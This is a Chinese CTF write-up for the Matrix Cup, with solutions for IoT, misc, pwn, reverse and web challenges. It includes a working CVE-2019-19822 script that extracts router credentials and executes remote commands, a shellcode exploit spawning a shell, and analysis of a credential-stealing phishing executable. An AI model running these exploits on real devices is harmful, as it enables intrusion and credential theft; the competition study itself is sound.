矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

admin 2024年6月3日08:56:52评论29 views字数 37350阅读124分30秒阅读模式

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

HEADER

山海关安全团队是一支专注网络安全的实战型团队,团队成员均来自国内外各大高校与企事业单位,总人数已达50余人。Arr3stY0u(意喻"逮捕你")战队与W4ntY0u(意喻"通缉你")预备队隶属于团队CTF组,活跃于各类网络安全比赛,欢迎你的加入哦~

CTF组招新联系QQ2944508194

矩阵杯漏洞安全闯关赛

IOT

special:

非预期解:

binwalk分出来一堆固件包,将得到的文件丢入010分析,发现有一个存在非常多可打印字符的文件

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

由于需要的是后台用户名对应密码,猜测用户名是admin,直接搜

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

感觉这一块特别像密码,将0s1mpl3加密后提交错误,将H3r0s1mpl3加密后提交成功

预期解:

CVE-2019-19822,参考https://seclists.org/fulldisclosure/2020/Jan/36

网上找了个脚本,修改一下输出方式

#!/bin/bash
if [ "$#" -lt 1 ] || [ "$#" -gt 2 ]; then    echo "Routers backed by Realtek hardware with Boa HTTP server and using apmib library for flash management."    echo "Identified vulnerable vendors: Multiple vendors, e.g. TOTOLINK, CIK Telecom, Sapido Fibergate Inc., MAX-C300N, T-BROAD and possibly others.."    echo ""    echo "Credits: br0x | https://sploit.tech"    echo ""    echo "Usage: "    echo "Password : $0 folder_path"    echo "Code exec: $0 folder_path 'cmd to execute'"    exit 1fi
FOLDER_PATH=binwalk_out
if [ ! -d "$FOLDER_PATH" ]; then    echo "The specified folder does not exist."    exit 1fi
if [ ! -f decode ]; then    echo -n "Compiling decoder.."    cat <<EOF > decode.c/** * Based on apmib.h from: * Copyright (C) 2006-2009 OpenWrt.org * Original author - David Hsu <[email protected]> */
#include <sys/mman.h>#include <sys/stat.h>#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <endian.h>
#define N         4096    /* size of ring buffer */#define F           18    /* upper limit for match_length */#define THRESHOLD    2    /* encode string into position and length if match_length is greater than this */static unsigned char *text_buf;    /* ring buffer of size N, with extra F-1 bytes to facilitate string comparison */#define LZSS_TYPE    unsigned short#define NIL         N    /* index for root of binary search trees */struct lzss_buffer {    unsigned char    text_buf[N + F - 1];    LZSS_TYPE    lson[N + 1];    LZSS_TYPE    rson[N + 257];    LZSS_TYPE    dad[N + 1];};static LZSS_TYPE        match_position, match_length;  /* of longest match.  These are set by the InsertNode() procedure. */static LZSS_TYPE        *lson, *rson, *dad;  /* left & right children & parents -- These constitute binary search trees. */

typedef struct compress_mib_header {    unsigned char signature[6];    unsigned short compRate;    unsigned int compLen;} COMPRESS_MIB_HEADER_T;
#define handle_error(msg)            do { perror(msg); exit(EXIT_FAILURE); } while (0)
int Decode(unsigned char *ucInput, unsigned int inLen, unsigned char *ucOutput)    /* Just the reverse of Encode(). */{        int  i, j, k, r, c;    unsigned int  flags;    unsigned int ulPos=0;    unsigned int ulExpLen=0;
    if ((text_buf = malloc( N + F - 1 )) == 0) {        //fprintf(stderr, "fail to get mem %s:%dn", __FUNCTION__, __LINE__);        return 0;    }        for (i = 0; i < N - F; i++)        text_buf[i] = ' ';
            r = N - F;    flags = 0;    while(1) {        if (((flags >>= 1) & 256) == 0) {            c = ucInput[ulPos++];            if (ulPos>inLen)                break;            flags = c | 0xff00;        /* uses higher byte cleverly */        }                            /* to count eight */        if (flags & 1) {            c = ucInput[ulPos++];            if ( ulPos > inLen )                break;            ucOutput[ulExpLen++] = c;            text_buf[r++] = c;            r &= (N - 1);        } else {            i = ucInput[ulPos++];            if ( ulPos > inLen ) break;            j = ucInput[ulPos++];            if ( ulPos > inLen ) break;                        i |= ((j & 0xf0) << 4);            j = (j & 0x0f) + THRESHOLD;            for (k = 0; k <= j; k++) {                c = text_buf[(i + k) & (N - 1)];                ucOutput[ulExpLen++] = c;                text_buf[r++] = c;                r &= (N - 1);            }        }    }
    free(text_buf);    return ulExpLen;
}

void main(int argc, char**argv) {           char *addr;           int fd;           struct stat sb;           off_t offset, pa_offset;           size_t length;           ssize_t s;           char* filename = "firmware.bin";
           COMPRESS_MIB_HEADER_T * header;
           if (argc>2) {             printf("Wrong number of parameters!");             exit(1);           }           if (argc==2) {             filename=argv[1];           }                      fd = open(filename, O_RDONLY);           if (fd == -1)               handle_error("open");
           if (fstat(fd, &sb) == -1)           /* To obtain file size */               handle_error("fstat");

           addr = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
           header = (COMPRESS_MIB_HEADER_T*)addr;
                      printf("%un", be16toh(header->compRate));           printf("%un", be32toh(header->compLen));           printf("%un", sb.st_size);           unsigned char *expFile=NULL;           expFile=calloc(1,be16toh(header->compRate)*be32toh(header->compLen));

                      unsigned int expandLen = Decode(addr+sizeof(COMPRESS_MIB_HEADER_T), be32toh(header->compLen), expFile);
           printf("%un", expandLen);           printf("%.*sn",100, expFile);           fwrite(expFile, 1, expandLen, stdout);           //flash_read_raw_mib("firmware.bin");}EOF    gcc -o decode decode.c    echo "OK"fi
CMD=""if [ "$#" -eq 2 ]; then    CMD="$(echo "$2" | perl -MURI::Escape -ne "chomp;print uri_escape($_),"\n"")"fi
# Initialize output fileoutput_file="firmware_analysis.txt"echo "" > "$output_file"
# Loop through each firmware file in the specified folderfind "$FOLDER_PATH" -type f | while read -r firmware; do    echo "Analyzing $firmware..." >> "$output_file"        P=`./decode "$firmware"  | xxd -p | tr -d 'n' | grep -Po 'b7001f.*?00' | sed 's#00$##g' | sed 's#b7001f##g' | xxd -r -p`    U=`./decode "$firmware"  | xxd -p | tr -d 'n' | grep -Po 'b6001f.*?00' | sed 's#00$##g' | sed 's#b6001f##g' | xxd -r -p`        if [ -n "$P" ] && [ -n "$U" ]; then        echo "User: $U" >> "$output_file"        echo "Password: $P" >> "$output_file"
        if [ -n "$CMD" ]; then            echo "Executing command:" >> "$output_file"
            curl "$1/boafrm/formSysCmd" --user "$U:$P" --data "submit-url=%2Fsyscmd.htm&sysCmdselect=5&sysCmdselects=0&save_apply=Run+Command&sysCmd=$CMD" -s > /dev/null
            OUT="`curl "$1/syscmd.htm" --user "$U:$P" -s | grep -Pzo '(?s)<textarea.*</textarea>' | tr '�' 'n' | sed -E 's#</?textarea.*>##g'`"            COUNT=1            while [ "$OUT" == "" ]; do                OUT="`curl "$1/syscmd.htm" --user "$U:$P" -s | grep -Pzo '(?s)<textarea.*</textarea>' | tr '�' 'n' | sed -E 's#</?textarea.*>##g'`"                COUNT=$(($COUNT+1))                if [ $COUNT -gt 3 ]; then                    echo "No output for 3 retries." >> "$output_file"                    break                fi            done;            echo "$OUT" >> "$output_file"        fi    else        echo "No valid credentials found in $firmware" >> "$output_file"    fidone
echo "Analysis complete. Results saved to $output_file."

binwalk分出固件包后运行脚本得到firmware_analysis.txt(脚本运行需要在后面随便加一个字符串,模拟一下网页,如 ./CVE-2019-19822-19825-exploit.sh www.1.com)

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

MISC

SPY2.0:

根据USB初始化的响应可以知道主要的流量来自与一个usb移动固态硬盘。结合题目描述我们大概是需要寻找一个图片,发现下面这些流量可以拼成一整个图片:

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

获得图片发现alpha通道有异常数据,根据描述找到了steganography.js的在线工具提取出了flag

https://codesandbox.io/p/sandbox/js-stagnography-w4eyef

真假补丁:

分析流量,在流中找到钓鱼邮件

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

以及邮件中的补丁.exe

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

还有一个data.php

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

导出文件,将钓鱼.exe丢入微步云沙箱,发现运行生成了补丁检测.exe和补丁修复.exe

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

在虚拟机中运行补丁.exe得到补丁检测.exe和补丁修复.exe,用010分析,发现补丁检测中存在有CVE-2021-33739,百度后得知是本地提权漏洞

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

补丁修复.exe中发现aes加密的逻辑,以及data.php

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

得知aes加密模式为cbc

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

发现程序获取了补丁检测.exe的md5,还有一个字符串ffe01db6b79092b8

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

还有一个被加密文件路径

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

程序逻辑大概就是以补丁检测.exe的md5值作key、iv为ffe01db6b79092b8

将C:UsersadminDesktop用户名密码.txt中内容通过aes加密后写为http://192.168.59.1:8086/data.php

获取补丁检测.exe的md5值

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

解密aes

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

两极反转:

二维码附件显然不完整,至少一眼看上去固定的定时标志和校正标志一定有问题。

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

根据原图中左上角的格式信息基本可以确定使用了H0级别的纠错。

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

根据这个信息发现,此图从1开始的第9行右侧的格式信息是反色的。结合题目描述猜测,至少垂直方向定时标志所在的这些行一定是奇数行黑白反色了。

手工将垂直方向定时标志的这些行按规则反色修正,图片就基本可以扫出flag了。

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

WHAT_CAN_I_SAY:

主要思路就是exec改输出和输入数据,通过定义类来进行操作

Payload_create.py

import subprocess
def create():    tmp_input = []
    f = open('poc.py','r')
    for line in f.read().split('n'):        tmp_input.append(line)    code = "n".join(m for m in tmp_input)
    runsbx_handle = subprocess.run(    "python3 poc.py",                shell=True,                capture_output=True,                encoding="utf-8",            )
    print("length stdout:",len(runsbx_handle.stdout))    print("length stderr:",len(runsbx_handle.stderr))    print("stdout:n---n{}n---nn".format(runsbx_handle.stdout))    print("stderr:n---n{}n---nn".format(runsbx_handle.stderr))    print("code:n---n{}n---".format(code))
    print('[+] code length:',len(code))
    if (        len(runsbx_handle.stdout)        and len(runsbx_handle.stderr)        and runsbx_handle.stdout == runsbx_handle.stderr == code    ):        print(1)
def payload():
    code = """class what: class can:  class i:   class say:    def a():{}what.can.i.say.a()"""     a = "import sys,os;exec(open(os.path.abspath(sys.argv[0])).read()[:660]);sys.stdout.write(code);sys.stderr.write(code)" #open(os.popen('find /tmp -name _run_').read()).read()   # a = "import sys,os;print(open(os.path.abspath(sys.argv[0])).read());" #open(os.popen('find /tmp -name _run_').read()).read()    ls = []    for line in a:
        ls.append(ord(line))        p = "exec(bytes({}))".format(ls)    print('exec代码段:nn--------n')    print(a)    print('--------n')

    with open('poc.py','w',encoding='utf-8') as f:        r = code.format(p)        print('最终生成文件:nn--------n')        print(r)        print('n[+] Length:',len(r))        print('--------n')        f.write(r)    import os
while 1:    c = input('>')    os.system('cls')
    if c == "1":
        payload()    elif c=='2':        create()    else:        break    

poc.py

class what: class can:  class i:   class say:    def a():exec(bytes([105, 109, 112, 111, 114, 116, 32, 115, 121, 115, 44, 111, 115, 59, 101, 120, 101, 99, 40, 111, 112, 101, 110, 40, 111, 115, 46, 112, 97, 116, 104, 46, 97, 98, 115, 112, 97, 116, 104, 40, 115, 121, 115, 46, 97, 114, 103, 118, 91, 48, 93, 41, 41, 46, 114, 101, 97, 100, 40, 41, 91, 58, 54, 54, 48, 93, 41, 59, 115, 121, 115, 46, 115, 116, 100, 111, 117, 116, 46, 119, 114, 105, 116, 101, 40, 99, 111, 100, 101, 41, 59, 115, 121, 115, 46, 115, 116, 100, 101, 114, 114, 46, 119, 114, 105, 116, 101, 40, 99, 111, 100, 101, 41]))what.can.i.say.a()

send.py

from pwn import * 
context.log_level = 'debug'
p = remote("pwn-80a489c4d6.challenge.xctf.org.cn", 9999, ssl=True)
content = open('poc.py','r',encoding='utf-8').read()
for line in content.split('n'):    p.sendlineafter(">>>",line)
p.sendline("<EOF>")
print("send success!")
print(p.recv())
p.interactive()

 

PWN

fshell:

逆向分析

Main函数

void __cdecl __noreturn sub_804A327(int a1){  int offset; // [esp+0h] [ebp-38h] BYREF  int v2[5]; // [esp+4h] [ebp-34h] BYREF  int v3[8]; // [esp+18h] [ebp-20h] BYREF
  v3[6] = (int)&a1;  v3[5] = __readgsdword(0x14u);  init();  while ( 1 )  {    menu();    scanf("%d", (char)&offset);    sub_8061C70();    memset(v2, 0, sizeof(v2));    memset(v3, 0, 20);    sub_80490C0(v3, 255, 20);    switch ( offset )    {      case 1:        sub_8049FA5();        break;      case 2:        if ( login_flag )        {          printf((int)"Enter the offset: ");          scanf("%d", (char)&offset);          sub_8061C70();          printf((int)"Enter a string to encrypt: ");          scanf("%20s", (char)v2);          enc((int)v2, offset % 12 + 9);          printf((int)"Encrypted string: %sn", v2);        }        break;      case 3:        if ( login_flag )        {          printf((int)"Enter the offset: ");          scanf("%d", (char)&offset);          sub_8061C70();          printf((int)"Enter a string to decrypt: ");          scanf("%20s", (char)v2);          enc((int)v2, 17 - offset % 12);          printf((int)"Decrypted string: %sn", v2);        }        if ( !LOBYTE(v3[0]) )          sub_804A147(12 * (offset % 12 + 5));        break;      case 4:        log_out();        break;      case 5:        exit(0);      case 6:        if ( login_flag )          set_rwx_page();        break;      default:        _IO_puts("Invalid option.");        break;    }  }}

可以看出登录后可以进行各种操作,简单逆一下就可以得知登录密码是:ozrrvnqc

分支逆向

case 6分支可以制造rwx的内存页

int sub_8049F29(){  int result; // eax  int v1; // [esp+4h] [ebp-14h]
  v1 = __sysconf(30);  result = __mprotect((unsigned int)flt_8105300 & -v1, 384, 7);  if ( result == -1 )  {    perror("mprotect failed");    exit(-1);  }  return result;}

case 3分支中的sub_804A147可以读取并执行shellcode

unsigned int __cdecl sub_804A147(int a1){  unsigned int result; // eax  float v2; // [esp+Ch] [ebp-3Ch]  float v3; // [esp+Ch] [ebp-3Ch]  int int_val; // [esp+14h] [ebp-34h] BYREF  float v5; // [esp+18h] [ebp-30h] BYREF  int i; // [esp+1Ch] [ebp-2Ch]  int v7; // [esp+20h] [ebp-28h]  int v8; // [esp+24h] [ebp-24h]  float *v9; // [esp+28h] [ebp-20h]  float *v10; // [esp+2Ch] [ebp-1Ch]  LONG_DOUBLE_12 double_val; // [esp+30h] [ebp-18h]  unsigned int v12; // [esp+3Ch] [ebp-Ch]
  v12 = __readgsdword(0x14u);  v7 = 1;  v8 = 4;  for ( i = 0; i <= 21; ++i )  {    if ( !v7 )      break;    v7 = scanf("%d", (char)&int_val);    *(long double *)&double_val = (long double)int_val / (long double)a1;  //除于a1    v2 = *(long double *)&double_val;    v5 = v2;    v9 = &v5;    if ( *((_BYTE *)&v5 + v8 - 1) <= 0x4Au )  //首字节必须大于0x4a      break;    v3 = *(long double *)&double_val;    flt_8105300[i] = v3;  }  v10 = flt_8105300;  ((void (*)(void))LODWORD(flt_8105300[0]))();      //在这运行shellcode  result = __readgsdword(0x14u) ^ v12;  if ( result )    __chk_fail_0();  return result;}

漏洞利用

获取登录密码

def decrypt_string(encrypted_string, shift):    decrypted_string = ""    for char in encrypted_string:        if char.isalpha():            if char.islower():                decrypted_char = chr((ord(char) - ord('a') - shift) % 26 + ord('a'))            else:                decrypted_char = chr((ord(char) - ord('A') - shift) % 26 + ord('A'))        else:            decrypted_char = char        decrypted_string += decrypted_char    return decrypted_string
encrypted_string = "xiaaewzl"shift = 9  # 这个值需要和加密时用的值相同decrypted_string = decrypt_string(encrypted_string, shift)print("Decrypted string:", decrypted_string)

exp

#!/usr/bin/env python3'''Author:7resp4ssDate:2024-06-01 10:45:25Usage:    Debug : python3 exp.py debug elf-file-path -t -b malloc    Remote: python3 exp.py remote elf-file-path ip:port'''
from pwncli import *cli_script()

io: tube = gift.ioelf: ELF = gift.elflibc: ELF = gift.libc
filename  = gift.filename # current filenameis_debug  = gift.debug # is debug or not is_remote = gift.remote # is remote or notgdb_pid   = gift.gdb_pid # gdb pid if debug#gift.io = remote("pwn-34a6d90c11.challenge.xctf.org.cn", 9999, ssl=True)def login():    sla('@@:','1')    sla('name:','user')    sla('password','ozrrvnqc')
def enc(off,data):    sla('@@: ','2')    sla('offset: ',str(off))    sla('o encrypt: ',data)
def dec(off,data):    sla('@@: ','3')    sla('offset: ',str(off))    sla(' decrypt: ',data)
def magic():    sla("@@",'6')
import struct
def ieee_754_to_float(hex_value):    int_value = int(hex_value, 16)    [float_value] = struct.unpack('>f', struct.pack('>I', int_value))    return float_valuedef set_sc(hex_value):    float_value = ieee_754_to_float(hex_value)    original_value = float_value * 60    return str(int(original_value))
login()magic()dec(0,flat(    {        0x0:p64(0)*2 + p32(0)    }))
hex_value = '4BDB3191'sl(set_sc(hex_value))sleep(0.01)
hex_value = '4B04c383'sl(set_sc(hex_value))
hex_value = '4B02c083'sl(set_sc(hex_value))
#83c228hex_value = '4B28c283'sl(set_sc(hex_value))
hex_value = '4B80cd90'sl(set_sc(hex_value))
sl('+')sc = ShellcodeMall.i386.execve_bin_shpd = flat(    {        19:sc    })sl(pd)ia()

 

REVERSE

jvm:

题目的opcode被调换顺序了。没去除符号,ida里直接找到dispatch_table

diff --git a/quickjs-opcode.h b/quickjs-opcode.hindex 1e18212..a76a0fd 100644--- a/quickjs-opcode.h+++ b/quickjs-opcode.h@@ -226,22 +226,22 @@ DEF(            inc, 1, 1, 1, none) DEF(       post_dec, 1, 1, 2, none) DEF(       post_inc, 1, 1, 2, none) DEF(        dec_loc, 2, 0, 0, loc8)-DEF(        inc_loc, 2, 0, 0, loc8) DEF(        add_loc, 2, 1, 0, loc8)-DEF(            not, 1, 1, 1, none)+DEF(        inc_loc, 2, 0, 0, loc8) DEF(           lnot, 1, 1, 1, none)+DEF(            not, 1, 1, 1, none) DEF(         typeof, 1, 1, 1, none) DEF(         delete, 1, 2, 1, none) DEF(     delete_var, 5, 0, 1, atom)
 DEF(            mul, 1, 2, 1, none)-DEF(            div, 1, 2, 1, none)-DEF(            mod, 1, 2, 1, none) DEF(            add, 1, 2, 1, none)+DEF(            div, 1, 2, 1, none) DEF(            sub, 1, 2, 1, none)+DEF(            mod, 1, 2, 1, none) DEF(            pow, 1, 2, 1, none)-DEF(            shl, 1, 2, 1, none) DEF(            sar, 1, 2, 1, none)+DEF(            shl, 1, 2, 1, none) DEF(            shr, 1, 2, 1, none) DEF(             lt, 1, 2, 1, none) DEF(            lte, 1, 2, 1, none)@@ -253,8 +253,8 @@ DEF(             eq, 1, 2, 1, none) DEF(            neq, 1, 2, 1, none) DEF(      strict_eq, 1, 2, 1, none) DEF(     strict_neq, 1, 2, 1, none)-DEF(            and, 1, 2, 1, none) DEF(            xor, 1, 2, 1, none)+DEF(            and, 1, 2, 1, none) DEF(             or, 1, 2, 1, none) DEF(is_undefined_or_null, 1, 1, 1, none) DEF(     private_in, 1, 2, 1, none)

在cmp_eq位置插入日志。

                 op1 = sp[-2];                                              op2 = sp[-1];                                                    if (likely(JS_VALUE_IS_BOTH_INT(op1, op2))) {           -                    sp[-2] = JS_NewBool(ctx, JS_VALUE_GET_INT(op1) binary_op JS_VALUE_GET_INT(op2)); +                    int32_t v1, v2;+                    v1 = JS_VALUE_GET_INT(op1);+                    v2 = JS_VALUE_GET_INT(op2);+                    if (opcode == 0xAB) {+                        printf("A_OP_CMP %02X %d %dn", opcode, v1, v2);  +                    }+                    sp[-2] = JS_NewBool(ctx, v1 binary_op v2);                      sp--;                                                                } else {                                                

爆破

from pwn import *
context.log_level = 'ERROR'

def test(flag):    r = process(['./hello', flag])    res = r.recvuntil(b'nerror', True)    r.close()    return res
table = string.digits+string.ascii_letters+'{}_!'flag = 'flag{'while True:    for ch in table:        tmp = (flag+ch).ljust(27, '@')        res = test(tmp).decode().split('n')[-27:]        count = 0        for line in res:            a, b = line[12:].split()            if a != b:                break            count += 1        if count >= len(flag)+1:            flag += ch            print(flag)            if len(flag) == 26:                flag += '}'                print(flag)                exit(0)            break    else:        print('nope')

 

ccc:

pyd逆向,通过硬件读写断点定位到check

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

每轮check处理8字节,全部处理后与已知密文比较

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

分析check,首先是将8字节输入处理为4个uint16,记为r0~r3

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

然后进入一个8轮的循环,循环体包括乘法、减法、加法和异或

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

8轮循环后还包括左移和或运算

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

还原成python代码即为(randarr为乘法和加法的操作数)

def foo(v1, v2):    res = c_uint16(v1).value * c_uint16(v2).value    sub = c_uint16(res).value-(res >> 16)    if sub < 0:        sub += 1    return subdef enc(arr: list):    r0, r1, r2, r3 = arr    for i in range(8):        r0 = foo(r0, randarr1[i])        v1 = (r1 + randarr2[i])        v2 = (r2 + randarr3[i])        r3 = foo(r3, randarr4[i])
        v4 = foo((r0 ^ v2), randarr5[i])        v6 = foo((v4 + (r3 ^ v1)), randarr6[i])        if i == 7:            pass        r0 = c_uint16(r0 ^ v6).value        r1 = c_uint16(v6 ^ v2).value        r2 = c_uint16((v4 + v6) ^ v1).value        r3 = c_uint16(r3 ^ (v4 + v6)).value        print(f'{i} {r0:04X} {r1:04X} {r2:04X} {r3:04X}')    r0 = foo(r0, 0x55b5)    r2 += 0xefaa    r1 += 0x522e    r3 = foo(r3, 0x27a8)
    r0 &= 0xFFFF    r1 &= 0xFFFF    r2 &= 0xFFFF    r3 &= 0xFFFF    # df4b54898c51000e    res = struct.pack('>4H', r0, r2, r1, r3)    print(res.hex())    return res

注意到8轮循环外的部分可以逆向,其中foo需要爆破

循环体内从后向前看

r0^r1==r0^v2,进而计算出v4

r2^r3==r3^v1,已知v4,进而计算出v6

v4和v6已知,本轮的r0~r3均可计算或爆破得到

于是最终脚本为

import Challengeimport osimport structfrom ctypes import c_uint16
import structinp = b"flag{c62defghijklmnopqrstuvwxyz}"inp_short_arr = []for i in range(0, len(inp), 2):    inp_short_arr.append(struct.unpack(">H", inp[i:i+2])[0])    print(hex(struct.unpack(">H", inp[i:i+2])[0]), end=",")print()# 0x666c,0x6167,0x7b61,0x6263,0x6465,0x6667,0x6869,0x6a6b,0x6c6d,0x6e6f,0x7071,0x7273,0x7475,0x7677,0x7879,0x7a7d
randnumarr = [0xc84e, 0x5675, 0xbed7, 0x48a9, 0x9eb8, 0xc7a3, 0xf1c2, 0x2e3c, 0xafad, 0x527d, 0x7191, 0x473d, 0x858f, 0x78e2, 0x9d5c, 0xea90, 0x22a5, 0x7ae2, 0x1f8f, 0xc40b, 0xb9f0, 0x213b, 0x5bd5,              0xfa5e, 0x1ef5, 0x173e, 0xe189, 0x7672, 0xaa43, 0xbdb6, 0x4af5, 0xc445, 0x132f, 0xe4c2, 0x87ec, 0x6d55, 0xea7b, 0x8b94, 0xea89, 0x7c3c, 0xd9c9, 0xaa0e, 0xf7da, 0x29d5, 0x1317, 0x78d4, 0x5ef8, 0x8527]
randarr1 = []randarr2 = []randarr3 = []randarr4 = []randarr5 = []randarr6 = []
for i in range(0, len(randnumarr), 6):    randarr1.append((randnumarr[i+0] & 0xff) << 8 | (randnumarr[i+0] >> 8))    randarr2.append((randnumarr[i+1] & 0xff) << 8 | (randnumarr[i+1] >> 8))    randarr3.append((randnumarr[i+2] & 0xff) << 8 | (randnumarr[i+2] >> 8))    randarr4.append((randnumarr[i+3] & 0xff) << 8 | (randnumarr[i+3] >> 8))    randarr5.append((randnumarr[i+4] & 0xff) << 8 | (randnumarr[i+4] >> 8))    randarr6.append((randnumarr[i+5] & 0xff) << 8 | (randnumarr[i+5] >> 8))

def foo(v1, v2):    res = c_uint16(v1).value * c_uint16(v2).value    sub = c_uint16(res).value-(res >> 16)    if sub < 0:        sub += 1    return sub

def inv_foo(r, v2):    for v1 in range(0x10000):        if (foo(v1, v2) & 0xFFFF) == r:            return v1    print('inv_foo not found')    return 0

def enc(arr: list):    r0, r1, r2, r3 = arr    for i in range(8):        r0 = foo(r0, randarr1[i])        v1 = (r1 + randarr2[i])        v2 = (r2 + randarr3[i])        r3 = foo(r3, randarr4[i])
        v4 = foo((r0 ^ v2), randarr5[i])        v6 = foo((v4 + (r3 ^ v1)), randarr6[i])        if i == 7:            pass        r0 = c_uint16(r0 ^ v6).value        r1 = c_uint16(v6 ^ v2).value        r2 = c_uint16((v4 + v6) ^ v1).value        r3 = c_uint16(r3 ^ (v4 + v6)).value        print(f'{i} {r0:04X} {r1:04X} {r2:04X} {r3:04X}')    r0 = foo(r0, 0x55b5)    r2 += 0xefaa    r1 += 0x522e    r3 = foo(r3, 0x27a8)
    r0 &= 0xFFFF    r1 &= 0xFFFF    r2 &= 0xFFFF    r3 &= 0xFFFF    # df4b54898c51000e    res = struct.pack('>4H', r0, r2, r1, r3)    print(res.hex())    return res

def dec(data):    r0, r2, r1, r3 = struct.unpack('>4H', data)    r3 = inv_foo(r3, 0x27a8)    r2 = (r2 - 0xefaa) & 0xFFFF    r1 = (r1 - 0x522e) & 0xFFFF    r0 = inv_foo(r0, 0x55b5)    r0 &= 0xFFFF    r1 &= 0xFFFF    r2 &= 0xFFFF    r3 &= 0xFFFF    # print(f'{r0:04X} {r1:04X} {r2:04X} {r3:04X}')    for i in range(7, -1, -1):        k1 = r2 ^ r3        k2 = r0 ^ r1        v4 = foo(k2, randarr5[i])        v6 = foo(v4+k1, randarr6[i])        v2 = (r1 ^ v6) & 0xFFFF        r3 = (r3 ^ (v4+v6)) & 0xFFFF        v1 = (r2 ^ (v4+v6)) & 0xFFFF        r1 = (v1 - randarr2[i]) & 0xFFFF
        r0 = inv_foo((r0 ^ v6) & 0xFFFF, randarr1[i])        r3 = inv_foo(r3, randarr4[i])        r2 = (v2 - randarr3[i]) & 0xFFFF        # print(f'{i} {r0:04X} {r1:04X} {r2:04X} {r3:04X}')    res = struct.pack('>4H', r0, r1, r2, r3)    # print(res)    return res

data = enc(inp_short_arr[:4])dec(data)

enc_data = bytes([0xdf, 0x4b, 0x54, 0x89, 0x8c, 0x51, 0x0, 0xe,  # flag{c62                  0xe0, 0xcf, 0xa, 0x59, 0x87, 0x8, 0x96, 0x6f,                  0x3c, 0xa2, 0xf3, 0x34, 0x16, 0xb4, 0x7a, 0xf7,                  0xa4, 0x60, 0xa1, 0xd7, 0xca, 0x3a, 0xb8, 0x48,                  0xec, 0x96, 0x60, 0xc7, 0x89, 0x2, 0x49, 0x83,                  0x7b, 0xe3, 0x8f, 0xf2, 0x6f, 0x89, 0x41, 0x57,  # 7}                  ])flag = b''for i in range(0, len(enc_data), 8):    flag += dec(enc_data[i:i+8])    print(flag)# flag{c620aafa-a72b-d11f-2a9d-334d595bb4a7}

 

packoy:

修好upx头即可脱壳

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

python打包成的elf,使用pyinstxtractor解包,反编译packpy.pyc得到

import base58, zlib, marshaltry:    scrambled_code_string = b'X1XehTQeZCsb4WSLBJBYZMjovD1x1E5wjTHh2w3j8dDxbscVa6HLEBSUTPEMsAcerwYASTaXFsCmWb1RxBfwBd6RmyePv3AevTDUiFAvV1GB94eURvtdrpYez7dF1egrwVz3EcQjHxXrpLXs2APE4MS93sMsgMgDrTFCNwTkPba31Aa2FeCSMu151LvEpwiPq5hvaZQPaY2s4pBpH16gGDoVb9MEvLn5J4cP23rEfV7EzNXMgqLUKF82mH1v7yjVCtYQhR8RprKCCtD3bekHjBH2AwES4QythgjVetUNDRpN5gfeJ99UYbZn1oRQHVmiu1sLjpq2mMm8tTuiZgfMfsktf5Suz2w8DgRX4qBKQijnuU4Jou9hduLeudXkZ85oWx9SU7MCE6gjsvy1u57VYw33vckJU6XGGZgZvSqKGR5oQKJf8MPNZi1dF8yF9MkwDdEq59jFsRUJDv7kNwig8XiuBXvmtJPV963thXCFQWQe8XGSu7kJqeRaBX1pkkQ4goJpgTLDHR1LW7bGcZ7m13KzW5mVmJHax81XLis774FjwWpApmTVuiGC2TQr2RcyUTkhGgC8R4bQiXgCsqZMoWyafcSmjdZsHmE6WgNAqPQmEg9FyjpK5f2XC1DkzuyHan5YceeEDMxKUJgJrmNcdGxB7281EyeriyuWNJVH2rVNhio6yoG'    exec(marshal.loads(zlib.decompress(base58.b58decode(scrambled_code_string))))except:    pass

marshal.loads返回一个code object

使用https://www.cnblogs.com/Chang-LeHung/p/17266334.html中的show_code反汇编

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

generate_key通过flag长度生成key,data=flag.encode()

encrypt通过data和key生成密文,最后与已知的密文encdata比较

generate_key就是一个list shuffle

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

encrypt包含异或运算,等效于encrypted.append(key[byte] ^ 95)

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

逆向即可

import randomdef generate_key(seed_value):    key = list(range(256))    random.seed(seed_value)    random.shuffle(key)    return bytes(key)enc = b'x18xfaxaddxedxabxadx9dxe5xc0xadxfaxf9x0bexf9xe5xade6xf9xfdx88xf9x9dxe5x9cxe5x9dexc3))x0fxff'enc = list(enc)key = list(generate_key(len(enc)))for i in range(len(enc)):    enc[i] ^= 95    print(chr(key.index(enc[i])), end="")# flag{mar3hal_Is_3asy_t0_r3v3rse!!@}

 

WEB

tantantan:

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

访问aaabbb.php

矩阵杯战队攻防对抗赛 writeup by Arr3stY0u

